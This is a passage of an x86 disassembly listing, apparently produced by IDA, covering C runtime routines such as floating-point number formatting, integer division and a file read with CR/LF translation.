loc_40C39C:				; CODE XREF: sub_40C360+35j
		mov	ax, dx
		movsx	eax, ax
		retn
; ---------------------------------------------------------------------------


loc_40C3A3:				; CODE XREF: sub_40C360+12j
		movzx	eax, word ptr [ecx+6]
		test	eax, 0FFFF7FFFh
		jnz	short loc_40C3C2
		cmp	word ptr [ecx+4], 0
		jnz	short loc_40C3C2
		cmp	word ptr [ecx+2], 0
		jnz	short loc_40C3C2
		cmp	word ptr [ecx],	0
		jz	short loc_40C3C6


loc_40C3C2:				; CODE XREF: sub_40C360+4Cj
					; sub_40C360+53j ...
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40C3C6:				; CODE XREF: sub_40C360+60j
		xor	eax, eax
		retn
sub_40C360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3D0	proc near		; CODE XREF: sub_40B310+5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40CFB0
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_40C3D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3F0	proc near		; CODE XREF: sub_40B310+200p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40D050
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_40C3F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C410	proc near		; CODE XREF: sub_40B310+20Bp
					; sub_40B310+498p

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		sub	esp, 0Ch
		fstcw	[esp+0Ch+var_2]
		mov	ax, [esp+0Ch+var_2]
		or	ah, 0Ch
		mov	[esp+0Ch+var_4], ax
		fldcw	[esp+0Ch+var_4]
		fistp	[esp+0Ch+var_C]
		fldcw	[esp+0Ch+var_2]
		mov	eax, dword ptr [esp+0Ch+var_C]
		mov	edx, dword ptr [esp+0Ch+var_C+4]
		add	esp, 0Ch
		retn
sub_40C410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C440	proc near		; CODE XREF: sub_40B310+4D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40C440	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C470	proc near		; CODE XREF: sub_40B310+64Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	eax, off_4119D0
		mov	al, [eax]
		mov	[ebp+var_1], al
		cmp	[ebp+arg_C], 0
		jg	short loc_40C495
		mov	[ebp+arg_C], 1
		mov	[ebp+arg_8], offset dword_4101E0


loc_40C495:				; CODE XREF: sub_40C470+16j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_40C4C9
		cmp	al, 46h
		jz	short loc_40C4C9
		cmp	al, 67h
		jz	short loc_40C4AC
		cmp	al, 47h
		jnz	loc_40C713


loc_40C4AC:				; CODE XREF: sub_40C470+32j
		mov	ax, [ebp+arg_10]
		cmp	ax, 0FFFCh
		jl	loc_40C713
		movsx	eax, ax
		mov	edx, [ebp+arg_0]
		cmp	eax, [edx+2Ch]
		jge	loc_40C713


loc_40C4C9:				; CODE XREF: sub_40C470+2Aj
					; sub_40C470+2Ej
		add	[ebp+arg_10], 1
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_40C4D9
		cmp	al, 47h
		jnz	short loc_40C514


loc_40C4D9:				; CODE XREF: sub_40C470+63j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jnz	short loc_40C4F7
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_40C4F7
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_40C4F7:				; CODE XREF: sub_40C470+72j
					; sub_40C470+7Bj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_10]
		sub	edx, ecx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_40C514
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_40C514:				; CODE XREF: sub_40C470+67j
					; sub_40C470+98j
		cmp	[ebp+arg_10], 0
		jg	loc_40C5E0
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C546
		test	word ptr [eax+38h], 8
		jz	short loc_40C55E


loc_40C546:				; CODE XREF: sub_40C470+CCj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_40C55E:				; CODE XREF: sub_40C470+D4j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		neg	edx
		cmp	[eax+2Ch], edx
		jge	short loc_40C578
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		neg	eax
		mov	[ebp+arg_10], ax


loc_40C578:				; CODE XREF: sub_40C470+FAj
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		neg	eax
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+2Ch]
		add	edx, ecx
		mov	[eax+2Ch], edx
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_40C5A9
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_40C5A9:				; CODE XREF: sub_40C470+12Dj
		movsx	eax, [ebp+arg_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+24h], eax
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+28h], edx
		jmp	loc_40C905
; ---------------------------------------------------------------------------


loc_40C5E0:				; CODE XREF: sub_40C470+A9j
		mov	ax, [ebp+arg_10]
		cmp	[ebp+arg_C], ax
		jge	short loc_40C65A
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		movsx	ecx, [ebp+arg_C]
		sub	eax, ecx
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C637
		test	word ptr [eax+38h], 8
		jz	short loc_40C64C


loc_40C637:				; CODE XREF: sub_40C470+1BDj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax+24h]


loc_40C64C:				; CODE XREF: sub_40C470+1C5j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		mov	[eax+28h], edx
		jmp	loc_40C905
; ---------------------------------------------------------------------------


loc_40C65A:				; CODE XREF: sub_40C470+178j
		movsx	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	ax, [ebp+arg_10]
		sub	[ebp+arg_C], ax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C69F
		test	word ptr [eax+38h], 8
		jz	short loc_40C6B7


loc_40C69F:				; CODE XREF: sub_40C470+225j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_40C6B7:				; CODE XREF: sub_40C470+22Dj
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_40C6CD
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_40C6CD:				; CODE XREF: sub_40C470+251j
		movsx	eax, [ebp+arg_C]
		push	eax
		movsx	eax, [ebp+arg_10]
		mov	edx, [ebp+arg_8]
		add	eax, edx
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx
		jmp	loc_40C905
; ---------------------------------------------------------------------------


loc_40C713:				; CODE XREF: sub_40C470+36j
					; sub_40C470+44j ...
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_40C71E
		cmp	al, 47h
		jnz	short loc_40C769


loc_40C71E:				; CODE XREF: sub_40C470+2A8j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_40C73C
		test	word ptr [eax+38h], 8
		jnz	short loc_40C73C
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_40C73C:				; CODE XREF: sub_40C470+2B8j
					; sub_40C470+2C0j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		dec	edx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_40C754
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_40C754:				; CODE XREF: sub_40C470+2D8j
		xor	eax, eax
		cmp	[ebp+arg_4], 67h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 45h
		mov	[ebp+arg_4], al
		jmp	short loc_40C77F
; ---------------------------------------------------------------------------


loc_40C769:				; CODE XREF: sub_40C470+2ACj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_40C775
		mov	[ebp+arg_4], 70h
		jmp	short loc_40C77F
; ---------------------------------------------------------------------------


loc_40C775:				; CODE XREF: sub_40C470+2FDj
		cmp	[ebp+arg_4], 41h
		jnz	short loc_40C77F
		mov	[ebp+arg_4], 50h


loc_40C77F:				; CODE XREF: sub_40C470+2F7j
					; sub_40C470+303j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	[ebp+arg_8], ecx
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+10h]
		mov	al, [eax]
		mov	[ecx+edx], al
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C7B0
		test	word ptr [eax+38h], 8
		jz	short loc_40C7C8


loc_40C7B0:				; CODE XREF: sub_40C470+336j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_40C7C8:				; CODE XREF: sub_40C470+33Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jle	short loc_40C82B
		mov	ax, [ebp+arg_C]
		dec	ax
		mov	[ebp+arg_C], ax
		mov	edx, [ebp+arg_0]
		movsx	eax, ax
		cmp	[edx+2Ch], eax
		jge	short loc_40C7F0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_40C7F0:				; CODE XREF: sub_40C470+374j
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx


loc_40C82B:				; CODE XREF: sub_40C470+35Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		mov	[ebp+arg_8], eax
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	dl, [ebp+arg_4]
		mov	[eax], dl
		cmp	[ebp+arg_10], 0
		jl	short loc_40C859
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Bh
		jmp	short loc_40C869
; ---------------------------------------------------------------------------


loc_40C859:				; CODE XREF: sub_40C470+3D9j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Dh
		neg	[ebp+arg_10]


loc_40C869:				; CODE XREF: sub_40C470+3E7j
		mov	[ebp+var_8], 0
		jmp	short loc_40C89B
; ---------------------------------------------------------------------------


loc_40C872:				; CODE XREF: sub_40C470+430j
		push	0Ah
		movsx	eax, [ebp+arg_10]
		push	eax
		call	sub_40D270
		add	esp, 8
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	[ebp+eax+var_12], dl
		mov	eax, [ebp+var_1C]
		mov	[ebp+arg_10], ax
		inc	[ebp+var_8]


loc_40C89B:				; CODE XREF: sub_40C470+400j
		cmp	[ebp+arg_10], 0
		jg	short loc_40C872
		cmp	[ebp+var_8], 2
		jge	short loc_40C8BF
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_40C8B3
		cmp	al, 45h
		jnz	short loc_40C8BF


loc_40C8B3:				; CODE XREF: sub_40C470+43Dj
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h


loc_40C8BF:				; CODE XREF: sub_40C470+436j
					; sub_40C470+441j
		cmp	[ebp+var_8], 0
		jnz	short loc_40C8EC
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h
		jmp	short loc_40C8EC
; ---------------------------------------------------------------------------


loc_40C8D3:				; CODE XREF: sub_40C470+480j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	edx, [ebp+var_8]
		dec	edx
		mov	[ebp+var_8], edx
		mov	dl, [ebp+edx+var_12]
		add	dl, 30h
		mov	[eax], dl


loc_40C8EC:				; CODE XREF: sub_40C470+453j
					; sub_40C470+461j
		cmp	[ebp+var_8], 0
		jg	short loc_40C8D3
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		mov	ecx, [eax+1Ch]
		mov	ebx, [eax+10h]
		add	ecx, ebx
		sub	edx, ecx
		mov	[eax+24h], edx


loc_40C905:				; CODE XREF: sub_40C470+16Bj
					; sub_40C470+1E5j ...
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+38h]
		and	eax, 14h
		cmp	eax, 10h
		jnz	short loc_40C948
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	ecx, [eax+20h]
		add	edx, ecx
		mov	ecx, [eax+24h]
		add	edx, ecx
		mov	eax, [eax+28h]
		add	eax, edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+34h]
		cmp	[ebp+var_8], eax
		jge	short loc_40C948
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+34h]
		sub	edx, [ebp+var_8]
		mov	[eax+18h], edx


loc_40C948:				; CODE XREF: sub_40C470+4A2j
					; sub_40C470+4CAj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40C470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C950	proc near		; CODE XREF: sub_40B9A0+348p
					; DMN0:0040CCCBp

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_40C985
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 2
		jz	short loc_40C98C


loc_40C985:				; CODE XREF: sub_40C950+18j
		xor	eax, eax
		jmp	loc_40CC75
; ---------------------------------------------------------------------------


loc_40C98C:				; CODE XREF: sub_40C950+33j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 48h
		jz	short loc_40C9EE
		cmp	byte ptr [eax+5], 0Ah
		jz	short loc_40C9EE
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	edx, ebx
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, dword_413988[ecx*4]
		mov	dl, [ecx+edx+5]
		mov	[eax], dl
		inc	edi
		dec	[ebp+arg_8]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	byte ptr [edx+eax+5], 0Ah


loc_40C9EE:				; CODE XREF: sub_40C950+56j
					; sub_40C950+5Cj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E18
		test	eax, eax
		jnz	short loc_40CA5E
		call	dword_411CE8
		mov	[ebp+var_10], eax
		cmp	eax, 5
		jnz	short loc_40CA3F
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_40CC75
; ---------------------------------------------------------------------------


loc_40CA3F:				; CODE XREF: sub_40C950+DAj
		cmp	[ebp+var_10], 6Dh
		jnz	short loc_40CA4C
		xor	eax, eax
		jmp	loc_40CC75
; ---------------------------------------------------------------------------


loc_40CA4C:				; CODE XREF: sub_40C950+F3j
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_408300
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40CC75
; ---------------------------------------------------------------------------


loc_40CA5E:				; CODE XREF: sub_40C950+CCj
		mov	eax, [ebp+var_4]
		add	edi, eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 80h
		jz	loc_40CC73
		cmp	[ebp+var_4], 0
		jz	short loc_40CAAD
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_40CAAD
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	4
		jmp	short loc_40CAC8
; ---------------------------------------------------------------------------


loc_40CAAD:				; CODE XREF: sub_40C950+136j
					; sub_40C950+13Ej
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FBh


loc_40CAC8:				; CODE XREF: sub_40C950+15Bj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	esi, eax
		jmp	loc_40CC5C
; ---------------------------------------------------------------------------


loc_40CAD5:				; CODE XREF: sub_40C950+313j
		cmp	byte ptr [esi],	1Ah
		jnz	short loc_40CB19
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 40h
		jnz	loc_40CC69
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	2
		jmp	loc_40CC69
; ---------------------------------------------------------------------------


loc_40CB19:				; CODE XREF: sub_40C950+188j
		cmp	byte ptr [esi],	0Dh
		jz	short loc_40CB33
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_40CC5C
; ---------------------------------------------------------------------------


loc_40CB33:				; CODE XREF: sub_40C950+1CCj
		mov	eax, [ebp+arg_4]
		lea	eax, [eax+edi-1]
		cmp	esi, eax
		jnb	short loc_40CB6D
		cmp	byte ptr [esi+1], 0Ah
		jnz	short loc_40CB58
		add	esi, 2
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	loc_40CC5C
; ---------------------------------------------------------------------------


loc_40CB58:				; CODE XREF: sub_40C950+1F2j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_40CC5C
; ---------------------------------------------------------------------------


loc_40CB6D:				; CODE XREF: sub_40C950+1ECj
		inc	esi
		mov	[ebp+var_10], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		lea	eax, [ebp+var_11]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E18
		test	eax, eax
		jnz	short loc_40CBAC
		call	dword_411CE8
		mov	[ebp+var_10], eax


loc_40CBAC:				; CODE XREF: sub_40C950+251j
		cmp	[ebp+var_10], 0
		jnz	short loc_40CBB8
		cmp	[ebp+var_4], 0
		jnz	short loc_40CBC9


loc_40CBB8:				; CODE XREF: sub_40C950+260j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		jmp	loc_40CC5C
; ---------------------------------------------------------------------------


loc_40CBC9:				; CODE XREF: sub_40C950+266j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 48h
		jz	short loc_40CC21
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_40CBF8
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_40CC5C
; ---------------------------------------------------------------------------


loc_40CBF8:				; CODE XREF: sub_40C950+298j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	cl, [ebp+var_11]
		mov	[edx+eax+5], cl
		jmp	short loc_40CC5C
; ---------------------------------------------------------------------------


loc_40CC21:				; CODE XREF: sub_40C950+292j
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_8]
		jnz	short loc_40CC3D
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_40CC3D
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_40CC5C
; ---------------------------------------------------------------------------


loc_40CC3D:				; CODE XREF: sub_40C950+2D7j
					; sub_40C950+2DDj
		push	1
		push	0FFFFFFFFh
		push	ebx
		call	sub_40BEB0
		add	esp, 0Ch
		cmp	[ebp+var_11], 0Ah
		jz	short loc_40CC5C
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh


loc_40CC5C:				; CODE XREF: sub_40C950+180j
					; sub_40C950+1DEj ...
		mov	eax, [ebp+arg_4]
		add	eax, edi
		cmp	esi, eax
		jb	loc_40CAD5


loc_40CC69:				; CODE XREF: sub_40C950+1A3j
					; sub_40C950+1C4j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	edi, eax


loc_40CC73:				; CODE XREF: sub_40C950+12Cj
		mov	eax, edi


loc_40CC75:				; CODE XREF: sub_40C950+37j
					; sub_40C950+EAj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40C950	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A88
		jnb	short loc_40CCAB
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40CCBB


loc_40CCAB:				; CODE XREF: DMN0:0040CC8Ej
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCBB:				; CODE XREF: DMN0:0040CCA9j
		push	ebx
		call	sub_40AD40
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_40C950
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_40ADA0
		pop	ecx
		mov	eax, esi


loc_40CCDE:				; CODE XREF: DMN0:0040CCB9j
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_40CE60
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD10	proc near		; CODE XREF: sub_40B9A0+35Fp
					; sub_40CE60+46p

